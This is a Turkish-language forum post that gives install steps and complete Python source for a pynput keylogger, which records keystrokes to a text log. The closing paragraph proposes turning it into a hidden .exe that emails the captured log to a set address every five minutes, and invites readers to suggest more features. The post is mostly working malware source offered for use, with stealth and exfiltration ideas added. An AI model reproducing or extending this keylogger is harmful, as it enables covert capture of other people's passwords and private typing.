Neler Yeni

Keyloger pynput Python

S C O

80+ Bronze
Katılım
21 Temmuz 2022
Mesajlar
927
Dahası  
Reaksiyon skoru
570
Konum
Türkiye Cumhuriyeti
İsim
Savaş Kurtuluş
Discord
G-TheArk#3024
Evet dostlar kısaca man.py adında bir dosya oluşturun sonra CMD yi açın ve şunu yazın pip install pynput

ondan sonra main.py dosyasının içine şu kodları yazın

Python:
Python:
import pynput

#modülümüzü ekliyoruz
from pynput.keyboard import Key,Listener

#kullanacağımız değişken ve dizilerimiz
sayac = 0
keys = []

#tuşa basılma eylemi gerçekleştiğinde
def on_press(key):
global sayac,keys
sayac += 1
#basılan tuşu yaz
print("{0} pressed".format(key))
#diziye ekle
keys.append(key)

#Gelen tuşları kayıt altına alalım
if sayac >= 10:
sayac = 0
write_file(keys)
keys = []

#eklemek üzere log dosyamızı açalım - Burada tarih değişkeni ile dosya adınını dinamikleştirebiliriz
keyasd = input("Log Name: ")
def write_file(keys):
with open(f"{keyasd}.txt" , "a" , encoding="utf-8") as file:
for key in keys:
k = str(key).replace("'", "")
if k.find("space") > 0:
file.write("\n")
elif k.find("Key") == -1:
file.write(k)

#Denemelerde ESC'ye basılırsa uygulmayı kapatabilelim :)
def on_release(key):
if key == Key.esc:
print("exit")
return False


#Tuş Dinlemeyi başlayalım
with Listener(on_press = on_press, on_release = on_release) as listener:
listener.join()

peki bunu nasıl geliştiririz şöyle olabilir bunu bir .exe haline getiriz ve terminal ekranını saklarız şöyle bir kod yaza biliriz log.txt dosyasını her 5dk dir mail ile belirediğimiz maile gönderemesini sağlıya biliriz bunun gibi eklentiler yapabilirz peki siz nasıl geliştirirsiniz ne tür özellikler getire bilirsiniz
 
Yeni mesajlar Yeni Konu Aç      

SON KONULAR

Forum istatistikleri

Konular
915,189
Mesajlar
8,373,203
Üyeler
141,950
Son üye
ghostrider1
Top Bottom